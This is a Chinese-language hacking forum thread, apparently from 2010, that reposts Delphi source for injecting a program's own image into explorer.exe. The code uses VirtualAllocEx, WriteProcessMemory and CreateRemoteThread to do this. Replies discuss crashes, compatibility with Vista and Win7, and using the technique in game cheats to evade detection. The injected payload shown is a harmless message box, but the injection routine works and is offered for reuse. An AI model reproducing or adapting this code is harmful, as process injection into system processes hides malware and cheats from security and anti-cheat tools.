[轉貼] 傀儡進程 EXE遠程注入代碼

  1. program MainProject;
  2. {$IMAGEBASE $12120000} //換個鏡像基址,這裡是必須得,否則容易覆蓋EXPLORER的進程信息
  3. //===========================================================================
  4. uses
  5.   windows,
  6.   UrlMon,
  7.   dialogs;

  8. //windows是一定要的
  9. //===========================================================================
  10. Function Main(dwEntryPoint:Pointer):LongWord;stdcall;
  11. begin
  12.    sleep(10000);
  13.    MessageBox(0,'注入explorer!!','',0);
  14.    result:=0;
  15. end;
  16. //===========================================================================
  17. procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
  18. var
  19.    Module, NewModule: Pointer;
  20.    Size, BytesWritten, TID: longword;
  21. begin
  22.    Module := Pointer(GetModuleHandle(nil));
  23.    Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
  24.    VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
  25.    NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  26.    WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
  27.    CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
  28. end;
  29. //===========================================================================
  30. var
  31.    PID,ProcessHandle:LongWord;
  32. begin
  33.    GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID); //Shell_TrayWnd為exp類名
  34.    ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
  35.    Inject(ProcessHandle,@Main); //注入explorer.exe進程。
  36.    CloseHandle(ProcessHandle);

  37. end.
複製代碼
Arrive a goal
Taiwan technology University

使用之後會讓explorer崩潰
樓主有測試過嗎?
電子信箱:onepiece@hack-stuff.com

TOP

使用之後會讓explorer崩潰
樓主有測試過嗎?
阿軍 發表於 2010-8-10 20:15



, 如果是 重新開機 自動執行 注入explorer 會崩潰 ...

自己執行 就不會崩潰了 xD ..

部分源代碼 做參考就好 ...
Arrive a goal
Taiwan technology University

TOP

用來做成外掛...應該可以躲避某種偵測機制

TOP

嗯嗯 ex  ..UCE ...
Arrive a goal
Taiwan technology University

TOP

樓主
這個在Vista+Delphi 2010下可使用嗎?
電子信箱:onepiece@hack-stuff.com

TOP

回復 6# 阿軍


當然可以啊
Arrive a goal
Taiwan technology University

TOP

在Win7 下似乎沒效果

TOP